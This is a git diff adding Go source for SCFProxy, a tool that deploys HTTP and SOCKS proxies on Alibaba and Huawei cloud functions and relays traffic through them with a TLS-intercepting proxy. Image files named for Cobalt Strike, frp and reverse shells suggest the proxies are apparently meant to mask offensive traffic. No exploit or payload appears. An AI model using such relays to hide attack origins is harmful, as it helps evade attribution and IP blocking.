h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= +google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= +google.golang.org/grpc v1.37.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= +google.golang.org/grpc v1.50.1 h1:DS/BukOZWp8s6p4Dt/tOaJaTQyPyOoCcrjroHuCeLzY= +google.golang.org/grpc v1.50.1/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= +google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0/go.mod h1:6Kw0yEErY5E/yWrBtf03jp27GLLJujG4z/JK95pnjjw= +google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= +google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= +google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= +google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= +google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= +google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= +google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= +google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= +google.golang.org/protobuf v1.28.1 h1:d0NfwRgPtno5B1Wa6L2DAG+KivqkdutMf1UhdNx175w= +google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f h1:BLraFXnmrev5lT+xlilqcH8XK9/i0At2xKjWk4p6zsU= +gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/ini.v1 v1.56.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= +gopkg.in/ini.v1 v1.66.6/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= +gopkg.in/ini.v1 v1.67.0 h1:Dgnx+6+nfE+IfzjUEISNeydPJh9AXNNsWbGP9KzCsOA= +gopkg.in/ini.v1 v1.67.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= +gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= diff --git a/http/modifier.go b/http/modifier.go new file mode 100644 index 0000000..bbe869e --- /dev/null +++ b/http/modifier.go @@ -0,0 +1,111 @@ +package http + +import ( + "bytes" + "encoding/base64" + "encoding/json" + "fmt" + "io" + "math/rand" + "net/http" + "strings" + "time" + + "github.com/sirupsen/logrus" +) + +func init() { + rand.Seed(time.Now().UnixNano()) +} + +type ScfModifier struct { + apis []string + length int +} + +type httpRequest struct { + Method string `json:"method"` + Url string `json:"url"` + Header map[string]string `json:"headers"` + Body string `json:"body"` +} + +type httpResponse struct { + Url string `json:"url"` + Code int `json:"status_code"` + Header map[string]string `json:"headers"` + Body string `json:"content"` +} + +func NewScfModifier(apis []string) (*ScfModifier, error) { + length := len(apis) + return &ScfModifier{apis: apis, length: length}, nil +} + +func (m *ScfModifier) ModifyRequest(req *http.Request) error { + if req.Method == http.MethodConnect { + return nil + } + + headers := make(map[string]string) + for k := range req.Header { + headers[k] = strings.Join(req.Header.Values(k), ",") + } + + rawBody, err := io.ReadAll(req.Body) + if err != nil { + return err + } + req.Body.Close() + base64Body := base64.StdEncoding.EncodeToString(rawBody) + + hr := httpRequest{Method: req.Method, Url: req.URL.String(), Header: headers, Body: base64Body} + data, err := json.Marshal(hr) + if err != nil { + return err + } + + scfApi := m.pickRandomApi() + logrus.Debugf("%s - %s", req.URL, scfApi) + scfReq, err := http.NewRequest("POST", scfApi, bytes.NewReader(data)) + *req = *scfReq + //logrus.Print(provider, scfApi) + return nil +} + +func (m *ScfModifier) ModifyResponse(res *http.Response) error { + if res.Request.Method == http.MethodConnect { + return nil + } + + rawBody, err := io.ReadAll(res.Body) + res.Body.Close() + + var hr httpResponse + err = json.Unmarshal(rawBody, &hr) + if err != nil { + return err + } + + res.StatusCode = hr.Code + res.Status = fmt.Sprintf("%d %s", hr.Code, http.StatusText(hr.Code)) + + res.Header = http.Header{} + for k, v := range hr.Header { + res.Header.Set(k, v) + } + + body, err := base64.StdEncoding.DecodeString(hr.Body) + if err != nil { + return err + } + res.Body = io.NopCloser(bytes.NewReader(body)) + res.ContentLength = int64(len(body)) + + return nil +} + +func (m *ScfModifier) pickRandomApi() string { + n := rand.Intn(m.length) + return m.apis[n] +} diff --git a/http/proxy.go b/http/proxy.go new file mode 100644 index 0000000..e2d2679 --- /dev/null +++ b/http/proxy.go @@ -0,0 +1,70 @@ +package http + +import ( + "fmt" + "net" + "os" + "os/signal" + "syscall" + + "github.com/google/martian/v3" + "github.com/google/martian/v3/mitm" + "github.com/sirupsen/logrus" +) + +type Options struct { + ListenAddr string + CertPath string + KeyPath string + Apis []string +} + +func ServeProxy(opts *Options) error { + p := martian.NewProxy() + defer p.Close() + + l, err := net.Listen("tcp", opts.ListenAddr) + if err != nil { + logrus.Fatal(err) + } + + if err := configureTls(p, opts.CertPath, opts.KeyPath); err != nil { + logrus.Error(err) + } + + modifier, err := NewScfModifier(opts.Apis) + if err != nil { + return err + } + + p.SetRequestModifier(modifier) + p.SetResponseModifier(modifier) + + go func() { + c := make(chan os.Signal, 1) + signal.Notify(c, os.Interrupt, syscall.SIGTERM) + go func() { + <-c + os.Exit(0) + }() + }() + + fmt.Println("HTTP proxy start successfully") + return p.Serve(l) +} + +func configureTls(p *martian.Proxy, certPath, keyPath string) error { + x509c, pk, err := GetX509KeyPair(certPath, keyPath) + if err != nil { + return err + } + + mc, err := mitm.NewConfig(x509c, pk) + if err != nil { + return err + } + + p.SetMITM(mc) + return nil + +} diff --git a/http/tls.go b/http/tls.go new file mode 100644 index 0000000..d01c9c1 --- /dev/null +++ b/http/tls.go @@ -0,0 +1,61 @@ +package http + +import ( + "crypto" + "crypto/tls" + "crypto/x509" + "encoding/pem" + "os" + "time" + + "github.com/shimmeris/SCFProxy/fileutil" + + "github.com/google/martian/v3/mitm" +) + +func GetX509KeyPair(certPath, keyPath string) (*x509.Certificate, crypto.PrivateKey, error) { + + if !fileutil.PathExists(certPath) || !fileutil.PathExists(keyPath) { + if err := GenerateCert(certPath, keyPath); err != nil { + return nil, nil, err + } + } + + tlsc, err := tls.LoadX509KeyPair(certPath, keyPath) + if err != nil { + return nil, nil, err + } + pk := tlsc.PrivateKey + + cert, err := x509.ParseCertificate(tlsc.Certificate[0]) + if err != nil { + return nil, nil, err + } + + return cert, pk, err +} + +func GenerateCert(certPath, keyPath string) error { + cert, pk, err := mitm.NewAuthority("SCFProxy", "Martian Authority", 365*24*time.Hour) + if err != nil { + return err + } + + certFile, err := os.Create(certPath) + if err != nil { + return err + } + defer certFile.Close() + + keyFile, err := os.Create(keyPath) + if err != nil { + return err + } + defer keyFile.Close() + + if err := pem.Encode(certFile, &pem.Block{Type: "CERTIFICATE", Bytes: cert.Raw}); err != nil { + return err + } + return pem.Encode(keyFile, &pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(pk)}) + +} diff --git a/img/cs.png b/img/cs.png new file mode 100644 index 0000000..20f5ba0 Binary files /dev/null and b/img/cs.png differ diff --git a/img/frp.png b/img/frp.png new file mode 100644 index 0000000..6121fa3 Binary files /dev/null and b/img/frp.png differ diff --git a/img/reverse_shell.png b/img/reverse_shell.png new file mode 100644 index 0000000..0e1e5eb Binary files /dev/null and b/img/reverse_shell.png differ diff --git a/img/wechat.png b/img/wechat.png new file mode 100644 index 0000000..ff61fa1 Binary files /dev/null and b/img/wechat.png differ diff --git a/main.go b/main.go new file mode 100644 index 0000000..ddbf37b --- /dev/null +++ b/main.go @@ -0,0 +1,9 @@ +package main + +import ( + "github.com/shimmeris/SCFProxy/cmd" +) + +func main() { + cmd.Execute() +} diff --git a/sdk/options.go b/sdk/options.go new file mode 100644 index 0000000..f191cbe --- /dev/null +++ b/sdk/options.go @@ -0,0 +1,44 @@ +package sdk + +import ( + "encoding/base64" + "encoding/json" +) + +type HttpProxyOpts struct { + FunctionName string + TriggerName string + OnlyTrigger bool +} + +type SocksProxyOpts struct { + FunctionName string + TriggerName string + OnlyTrigger bool + Key string + Addr string + Auth string +} + +func (s *SocksProxyOpts) DumpBase64Message() string { + message := struct { + Key string + Addr string + Auth string + }{ + s.Key, + s.Addr, + s.Auth, + } + + b, _ := json.Marshal(message) + return base64.StdEncoding.EncodeToString(b) +} + +type ReverseProxyOpts struct { + Origin string + ServiceId string + ApiId string + PluginId string + Ips []string +} diff --git a/sdk/provider.go b/sdk/provider.go new file mode 100644 index 0000000..5f79973 --- /dev/null +++ b/sdk/provider.go @@ -0,0 +1,24 @@ +package sdk + +type Provider interface { + Name() string + Region() string +} + +type HttpProxyProvider interface { + Provider + DeployHttpProxy(*HttpProxyOpts) (*DeployHttpProxyResult, error) + ClearHttpProxy(*HttpProxyOpts) error +} + +type SocksProxyProvider interface { + Provider + DeploySocksProxy(*SocksProxyOpts) error + ClearSocksProxy(*SocksProxyOpts) error +} + +type ReverseProxyProvider interface { + Provider + DeployReverseProxy(*ReverseProxyOpts) (*DeployReverseProxyResult, error) + ClearReverseProxy(*ReverseProxyOpts) error +} diff --git a/sdk/provider/alibaba/http.go b/sdk/provider/alibaba/http.go new file mode 100644 index 0000000..a8f65be --- /dev/null +++ b/sdk/provider/alibaba/http.go @@ -0,0 +1,81 @@ +package alibaba + +import ( + fcopen "github.com/alibabacloud-go/fc-open-20210406/client" + "github.com/alibabacloud-go/tea/tea" + "github.com/sirupsen/logrus" + + "github.com/shimmeris/SCFProxy/fileutil" + "github.com/shimmeris/SCFProxy/function" + "github.com/shimmeris/SCFProxy/sdk" +) + +const ServiceName = "scf" + +func (p *Provider) DeployHttpProxy(opts *sdk.HttpProxyOpts) (*sdk.DeployHttpProxyResult, error) { + if err := p.createService(ServiceName); err != nil { + if err, ok := err.(*tea.SDKError); ok && *err.StatusCode == 409 { + logrus.Info("Service name already exists, will use existing") + } else { + return nil, err + } + } + + if err := p.createHttpFunction(ServiceName, opts.FunctionName); err != nil { + if err, ok := err.(*tea.SDKError); ok && *err.StatusCode == 409 { + logrus.Info("function already exists, will use existing") + } else { + return nil, err + } + } + + api, err := p.createHttpTrigger(ServiceName, opts.FunctionName, opts.TriggerName) + if err != nil { + return nil, err + } + //TODO: 创建触发器出错时,函数应该删除 + return &sdk.DeployHttpProxyResult{Provider: p.Name(), Region: p.region, API: api}, err +} + +func (p *Provider) ClearHttpProxy(opts *sdk.HttpProxyOpts) error { + return p.clearProxy(ServiceName, opts.FunctionName, opts.TriggerName, opts.OnlyTrigger) +} + +func (p *Provider) createService(serviceName string) error { + h := &fcopen.CreateServiceHeaders{} + r := &fcopen.CreateServiceRequest{ServiceName: tea.String(serviceName)} + _, err := p.fclient.CreateServiceWithOptions(r, h, p.runtime) + return err +} + +func (p *Provider) createHttpFunction(serviceName, functionName string) error { + h := &fcopen.CreateFunctionHeaders{} + r := &fcopen.CreateFunctionRequest{ + FunctionName: tea.String(functionName), + Runtime: tea.String("python3.9"), + Handler: tea.String("index.handler"), + Timeout: tea.Int32(30), + MemorySize: tea.Int32(128), + Code: &fcopen.Code{ + ZipFile: tea.String(fileutil.CreateZipBase64("index.py", function.AlibabaHttpCode)), + }, + } + + _, err := p.fclient.CreateFunctionWithOptions(tea.String(serviceName), r, h, p.runtime) + return err +} + +func (p *Provider) createHttpTrigger(serviceName, functionName, triggerName string) (string, error) { + h := &fcopen.CreateTriggerHeaders{} + r := &fcopen.CreateTriggerRequest{ + TriggerType: tea.String("http"), + TriggerName: tea.String(triggerName), + TriggerConfig: tea.String("{\"authType\": \"anonymous\", \"methods\": [\"POST\"]}"), + } + + res, err := p.fclient.CreateTriggerWithOptions(tea.String(serviceName), tea.String(functionName), r, h, p.runtime) + if err != nil { + return "", err + } + return *res.Body.UrlInternet, nil +} diff --git a/sdk/provider/alibaba/provider.go b/sdk/provider/alibaba/provider.go new file mode 100644 index 0000000..8201770 --- /dev/null +++ b/sdk/provider/alibaba/provider.go @@ -0,0 +1,112 @@ +package alibaba + +import ( + "fmt" + + openapi "github.com/alibabacloud-go/darabonba-openapi/v2/client" + fcopen "github.com/alibabacloud-go/fc-open-20210406/client" + util "github.com/alibabacloud-go/tea-utils/v2/service" + "github.com/alibabacloud-go/tea/tea" +) + +type Provider struct { + region string + fclient *fcopen.Client + runtime *util.RuntimeOptions +} + +func New(accessKeyId, accessKeySecret, accountId, region string) (*Provider, error) { + auth := &openapi.Config{ + AccessKeyId: tea.String(accessKeyId), + AccessKeySecret: tea.String(accessKeySecret), + RegionId: tea.String(region), + Endpoint: tea.String(fmt.Sprintf("%s.%s.fc.aliyuncs.com", accountId, region)), + } + + fclient, err := fcopen.NewClient(auth) + if err != nil { + return nil, err + } + + provider := &Provider{ + region: region, + fclient: fclient, + runtime: &util.RuntimeOptions{}, + } + return provider, nil +} + +func (p *Provider) Name() string { + return "alibaba" +} + +func (p *Provider) Region() string { + return p.region +} + +func (p *Provider) clearProxy(serviceName, functionName, triggerName string, onlyTrigger bool) error { + if err := p.deleteTrigger(serviceName, functionName, triggerName); err != nil { + if err, ok := err.(*tea.SDKError); !ok || *err.StatusCode != 404 { + return err + } + } + + if onlyTrigger { + return nil + } + + if err := p.deleteFunction(serviceName, functionName); err != nil { + if err, ok := err.(*tea.SDKError); !ok || *err.StatusCode != 404 { + return err + } + } + return nil +} + +func (p *Provider) deleteService(serviceName string) error { + h := &fcopen.DeleteServiceHeaders{} + _, err := p.fclient.DeleteServiceWithOptions(tea.String(serviceName), h, p.runtime) + return err +} + +func (p *Provider) deleteFunction(serviceName, functionName string) error { + h := &fcopen.DeleteFunctionHeaders{} + _, err := p.fclient.DeleteFunctionWithOptions(tea.String(serviceName), tea.String(functionName), h, p.runtime) + return err +} + +func (p *Provider) deleteTrigger(serviceName, functionName, triggerName string) error { + deleteTriggerHeaders := &fcopen.DeleteTriggerHeaders{} + _, err := p.fclient.DeleteTriggerWithOptions( + tea.String(serviceName), + tea.String(functionName), + tea.String(triggerName), + deleteTriggerHeaders, + p.runtime, + ) + return err +} + +func Regions() []string { + return []string{ + "ap-northeast-1", + "ap-south-1", + "ap-southeast-1", + "ap-southeast-2", + "ap-southeast-3", + "ap-southeast-5", + "cn-beijing", + "cn-chengdu", + "cn-hangzhou", + "cn-hongkong", + "cn-huhehaote", + "cn-qingdao", + "cn-shanghai", + "cn-shenzhen", + "cn-zhangjiakou", + "eu-central-1", + "eu-west-1", + "us-east-1", + "us-west-1", + } +} diff --git a/sdk/provider/alibaba/regions.go b/sdk/provider/alibaba/regions.go new file mode 100644 index 0000000..faf5e34 --- /dev/null +++ b/sdk/provider/alibaba/regions.go @@ -0,0 +1,32 @@ +package alibaba + +// +//// grabbed from https://next.api.aliyun.com/product/FC-Open#endpoint +//const url = "https://next.api.aliyun.com/api/product/endpoints/FC-Open?type=vpc" +// +//type response struct { +// Code int `json:"function"` +// Data []struct { +// RegionId string `json:"region_id"` +// } `json:"data"` +//} +// +//func Regions() []string { +// //resp, err := http.Get(url) +// //if err != nil { +// // return nil +// //} +// // +// //var body response +// //err = json.NewDecoder(resp.Body).Decode(&body) +// //if err != nil { +// // return nil +// //} +// // +// //regions := make([]string, 20) +// //for i, r := range body.Data { +// // regions[i] = r.RegionId +// //} +// //return regions +// +//} diff --git a/sdk/provider/alibaba/socks.go b/sdk/provider/alibaba/socks.go new file mode 100644 index 0000000..6c9d3ef --- /dev/null +++ b/sdk/provider/alibaba/socks.go @@ -0,0 +1,62 @@ +package alibaba + +import ( + "fmt" + + fcopen "github.com/alibabacloud-go/fc-open-20210406/client" + "github.com/alibabacloud-go/tea/tea" + + "github.com/shimmeris/SCFProxy/fileutil" + "github.com/shimmeris/SCFProxy/function" + "github.com/shimmeris/SCFProxy/sdk" +) + +func (p *Provider) DeploySocksProxy(opts *sdk.SocksProxyOpts) error { + if err := p.createService(ServiceName); err != nil { + if err, ok := err.(*tea.SDKError); !ok || *err.StatusCode != 409 { + return err + } + } + + if err := p.createSocksFunction(ServiceName, opts.FunctionName); err != nil { + if err, ok := err.(*tea.SDKError); !ok || *err.StatusCode != 409 { + return err + } + } + // TODO: 创建触发器出错时,函数应该删除 + return p.createSocksTrigger(ServiceName, opts.FunctionName, opts.TriggerName, opts.DumpBase64Message()) + +} + +func (p *Provider) ClearSocksProxy(opts *sdk.SocksProxyOpts) error { + return p.clearProxy(ServiceName, opts.FunctionName, opts.TriggerName, opts.OnlyTrigger) +} + +func (p *Provider) createSocksFunction(serviceName, functionName string) error { + h := &fcopen.CreateFunctionHeaders{} + r := &fcopen.CreateFunctionRequest{ + FunctionName: tea.String(functionName), + Runtime: tea.String("go1"), + Handler: tea.String("main"), + Timeout: tea.Int32(900), + MemorySize: tea.Int32(128), + Code: &fcopen.Code{ + ZipFile: tea.String(fileutil.CreateZipBase64("main", function.AlibabaSocksCode)), + }, + } + + _, err := p.fclient.CreateFunctionWithOptions(tea.String(serviceName), r, h, p.runtime) + return err +} + +func (p *Provider) createSocksTrigger(serviceName, functionName, triggerName, message string) error { + h := &fcopen.CreateTriggerHeaders{} + r := &fcopen.CreateTriggerRequest{ + TriggerType: tea.String("timer"), + TriggerName: tea.String(triggerName), + TriggerConfig: tea.String(fmt.Sprintf("{\"enable\": true, \"cronExpression\": \"@every 1m\", \"payload\": \"%s\"}", message)), + } + + _, err := p.fclient.CreateTriggerWithOptions(tea.String(serviceName), tea.String(functionName), r, h, p.runtime) + return err +} diff --git a/sdk/provider/aws/aws.go b/sdk/provider/aws/aws.go new file mode 100644 index 0000000..a2fdfd6 --- /dev/null +++ b/sdk/provider/aws/aws.go @@ -0,0 +1,49 @@ +package aws + +// +//import ( +// "SCFProxy-go/sdk" +// "github.com/aws/aws-sdk-go-v2/aws" +// "github.com/aws/aws-sdk-go-v2/credentials" +// "github.com/aws/aws-sdk-go-v2/service/lambda" +//) +// +//type FunctionConfig struct { +//} +// +//func NewFunctionConfig() { +// lambda.CreateFunctionInput{ +// FunctionName: &sdk.HTTPFunctionName, +// +// +// } +//} +// +//type Provider struct { +// client *lambda.Client +// region string +// fconfig *FunctionConfig +//} +// +//func New(accessKey, secretKey, region string, fconfig *FunctionConfig) sdk.Provider { +// opts := lambda.Options{ +// Region: region, +// Credentials: aws.NewCredentialsCache(credentials.NewStaticCredentialsProvider(accessKey, secretKey, "")), +// } +// client := lambda.New(opts) +// return &Provider{ +// client: client, +// region: region, +// fconfig: fconfig, +// } +//} +// +//func (p *Provider) Name() string { +// return "aws" +//} +// +//func (p *Provider) Deploy() (*sdk.Result, error) { +// +//} +// +//func (p *Provider) diff --git a/sdk/provider/huawei/http.go b/sdk/provider/huawei/http.go new file mode 100644 index 0000000..138982e --- /dev/null +++ b/sdk/provider/huawei/http.go @@ -0,0 +1,114 @@ +package huawei + +import ( + "fmt" + "io" + "net/http" + "strings" + + "github.com/huaweicloud/huaweicloud-sdk-go-v3/services/functiongraph/v2/model" + + "github.com/shimmeris/SCFProxy/fileutil" + "github.com/shimmeris/SCFProxy/function" + "github.com/shimmeris/SCFProxy/sdk" +) + +const GroupName = "scf" + +func (p *Provider) DeployHttpProxy(opts *sdk.HttpProxyOpts) (*sdk.DeployHttpProxyResult, error) { + if err := p.createGroup(GroupName); err != nil { + return nil, err + } + + functionUrn, err := p.createFunction(opts.FunctionName) + if err != nil { + return nil, err + } + + triggerId, err := p.createHttpTrigger(functionUrn, opts.TriggerName) + if err != nil { + return nil, err + } + + return &sdk.DeployHttpProxyResult{API: triggerId, Region: p.region, Provider: p.Name()}, nil + +} + +func (p *Provider) createGroup(groupName string) error { + createGroupApi := fmt.Sprintf("https://apig.%s.myhuaweicloud.com/v1.0/apigw/api-groups", p.region) + data := fmt.Sprintf("{\"name\": \"%s\"}", groupName) + req, err := http.NewRequest("POST", createGroupApi, strings.NewReader(data)) + if err != nil { + return err + } + req.Header.Set("Content-Type", "application/json") + + if err = p.signer.Sign(req); err != nil { + return err + } + + resp, err := http.DefaultClient.Do(req) + if err != nil { + return err + } + + b, _ := io.ReadAll(resp.Body) + fmt.Println(string(b)) + defer resp.Body.Close() + return nil + +} + +func (p *Provider) createFunction(functionName string) (string, error) { + r := &model.CreateFunctionRequest{} + code := fileutil.CreateZipBase64("index.py", function.HuaweiHttpCode) + r.Body = &model.CreateFunctionRequestBody{ + Package: "default", + FuncName: functionName, + Handler: "index.handler", + Timeout: 30, + MemorySize: 128, + CodeType: model.GetCreateFunctionRequestBodyCodeTypeEnum().ZIP, + Runtime: model.GetCreateFunctionRequestBodyRuntimeEnum().PYTHON3_9, + FuncCode: &model.FuncCode{ + File: &code, + }, + } + + res, err := p.fclient.CreateFunction(r) + if err != nil { + return "", err + } + return *res.FuncUrn, nil +} + +func (p *Provider) createHttpTrigger(functionUrn, triggerName string) (string, error) { + r := &model.CreateFunctionTriggerRequest{} + r.FunctionUrn = functionUrn + triggerStatus := model.GetCreateFunctionTriggerRequestBodyTriggerStatusEnum().ACTIVE + r.Body = &model.CreateFunctionTriggerRequestBody{ + TriggerTypeCode: model.GetCreateFunctionTriggerRequestBodyTriggerTypeCodeEnum().APIG, + TriggerStatus: &triggerStatus, + EventData: map[string]string{ + "func_info": "{timeout=5000}", + "name": triggerName, + "env_id": "DEFAULT_ENVIRONMENT_RELEASE_ID", + "env_name": "RELEASE", + "protocol": "HTTPS", + "auth": "NONE", + "group_id": "", + "sl_domain": "", + "match_mode": "SWA", + "req_method": "ANY", + "backend_type": "FUNCTION", + "type": "1", //TODO: `type` must be `int`, but the sdk only suppors `string`, wait for Huawei to fix + "path": "/http", + }, + } + + response, err := p.fclient.CreateFunctionTrigger(r) + if err != nil { + return "", err + } + return *response.TriggerId, nil +} diff --git a/sdk/provider/huawei/huawei.go b/sdk/provider/huawei/huawei.go new file mode 100644 index 0000000..f2b1494 --- /dev/null +++ b/sdk/provider/huawei/huawei.go @@ -0,0 +1,82 @@ +package huawei + +// Temporarily can not use Huawei Cloud as a proxy, because its sdk has problems, need to wait for its repair + +import ( + "fmt" + + "github.com/huaweicloud/huaweicloud-sdk-go-v3/core/auth/basic" + functiongraph "github.com/huaweicloud/huaweicloud-sdk-go-v3/services/functiongraph/v2" + "github.com/huaweicloud/huaweicloud-sdk-go-v3/services/functiongraph/v2/model" + functionregion "github.com/huaweicloud/huaweicloud-sdk-go-v3/services/functiongraph/v2/region" + + "github.com/shimmeris/SCFProxy/sdk/provider/huawei/sign" +) + +type Provider struct { + fclient *functiongraph.FunctionGraphClient + region string + signer *sign.Signer +} + +func New(ak, sk, region string) *Provider { + auth := basic.NewCredentialsBuilder().WithAk(ak).WithSk(sk).Build() + hcClient := functiongraph.FunctionGraphClientBuilder(). + WithRegion(functionregion.ValueOf(region)). + WithCredential(auth). + Build() + + fclient := functiongraph.NewFunctionGraphClient(hcClient) + signer := &sign.Signer{Key: ak, Secret: sk} + + provider := &Provider{fclient: fclient, region: region, signer: signer} + return provider + +} + +func (p *Provider) Name() string { return "huawei" } + +func (p *Provider) Region() string { + return p.region +} + +func (p *Provider) deleteFunction(functionUrn string) { + request := &model.DeleteFunctionRequest{} + request.FunctionUrn = functionUrn + response, err := p.fclient.DeleteFunction(request) + if err == nil { + fmt.Printf("%+v\n", response) + } else { + fmt.Println(err) + } +} + +func (p *Provider) deleteTrigger(functionUrn, triggerId string) { + + request := &model.DeleteFunctionTriggerRequest{} + request.FunctionUrn = functionUrn + request.TriggerTypeCode = model.GetDeleteFunctionTriggerRequestTriggerTypeCodeEnum().APIG + request.TriggerId = triggerId + response, err := p.fclient.DeleteFunctionTrigger(request) + if err == nil { + fmt.Printf("%+v\n", response) + } else { + fmt.Println(err) + } +} + +func Regions() []string { + // accquired from https://github.com/huaweicloud/huaweicloud-sdk-go-v3/blob/v0.1.5/services/functiongraph/v2/region/region.go + return []string{ + "cn-north-4", + "cn-north-1", + "cn-east-2", + "cn-east-3", + "cn-south-1", + "cn-southwest-2", + "ap-southeast-2", + "ap-southeast-1", + "ap-southeast-3", + "af-south-1", + } +} diff --git a/sdk/provider/huawei/sign/escape.go b/sdk/provider/huawei/sign/escape.go new file mode 100644 index 0000000..d3f5119 --- /dev/null +++ b/sdk/provider/huawei/sign/escape.go @@ -0,0 +1,42 @@ +// based on https://github.com/golang/go/blob/master/src/net/url/url.go +// Copyright 2009 The Go Authors. All rights reserved. +// Use of this source function is governed by a BSD-style +// license that can be found in the LICENSE file. + +package sign + +func shouldEscape(c byte) bool { + if 'A' <= c && c <= 'Z' || 'a' <= c && c <= 'z' || '0' <= c && c <= '9' || c == '_' || c == '-' || c == '~' || c == '.' { + return false + } + return true +} +func escape(s string) string { + hexCount := 0 + for i := 0; i < len(s); i++ { + c := s[i] + if shouldEscape(c) { + hexCount++ + } + } + + if hexCount == 0 { + return s + } + + t := make([]byte, len(s)+2*hexCount) + j := 0 + for i := 0; i < len(s); i++ { + switch c := s[i]; { + case shouldEscape(c): + t[j] = '%' + t[j+1] = "0123456789ABCDEF"[c>>4] + t[j+2] = "0123456789ABCDEF"[c&15] + j += 3 + default: + t[j] = s[i] + j++ + } + } + return string(t) +} diff --git a/sdk/provider/huawei/sign/signer.go b/sdk/provider/huawei/sign/signer.go new file mode 100644 index 0000000..9cdbbdb --- /dev/null +++ b/sdk/provider/huawei/sign/signer.go @@ -0,0 +1,209 @@ +// HWS API Gateway Signature +// based on https://github.com/datastream/aws/blob/master/signv4.go +// Copyright (c) 2014, Xianjie + +package sign + +import ( + "bytes" + "crypto/hmac" + "crypto/sha256" + "fmt" + "io/ioutil" + "net/http" + "sort" + "strings" + "time" +) + +const ( + BasicDateFormat = "20060102T150405Z" + Algorithm = "SDK-HMAC-SHA256" + HeaderXDate = "X-Sdk-Date" + HeaderHost = "host" + HeaderAuthorization = "Authorization" + HeaderContentSha256 = "X-Sdk-Content-Sha256" +) + +func hmacsha256(key []byte, data string) ([]byte, error) { + h := hmac.New(sha256.New, []byte(key)) + if _, err := h.Write([]byte(data)); err != nil { + return nil, err + } + return h.Sum(nil), nil +} + +// Build a CanonicalRequest from a regular request string +// +// CanonicalRequest = +// +// HTTPRequestMethod + '\n' + +// CanonicalURI + '\n' + +// CanonicalQueryString + '\n' + +// CanonicalHeaders + '\n' + +// SignedHeaders + '\n' + +// HexEncode(Hash(RequestPayload)) +func CanonicalRequest(r *http.Request, signedHeaders []string) (string, error) { + var hexencode string + var err error + if hex := r.Header.Get(HeaderContentSha256); hex != "" { + hexencode = hex + } else { + data, err := RequestPayload(r) + if err != nil { + return "", err + } + hexencode, err = HexEncodeSHA256Hash(data) + if err != nil { + return "", err + } + } + return fmt.Sprintf("%s\n%s\n%s\n%s\n%s\n%s", r.Method, CanonicalURI(r), CanonicalQueryString(r), CanonicalHeaders(r, signedHeaders), strings.Join(signedHeaders, ";"), hexencode), err +} + +// CanonicalURI returns request uri +func CanonicalURI(r *http.Request) string { + pattens := strings.Split(r.URL.Path, "/") + var uri []string + for _, v := range pattens { + uri = append(uri, escape(v)) + } + urlpath := strings.Join(uri, "/") + if len(urlpath) == 0 || urlpath[len(urlpath)-1] != '/' { + urlpath = urlpath + "/" + } 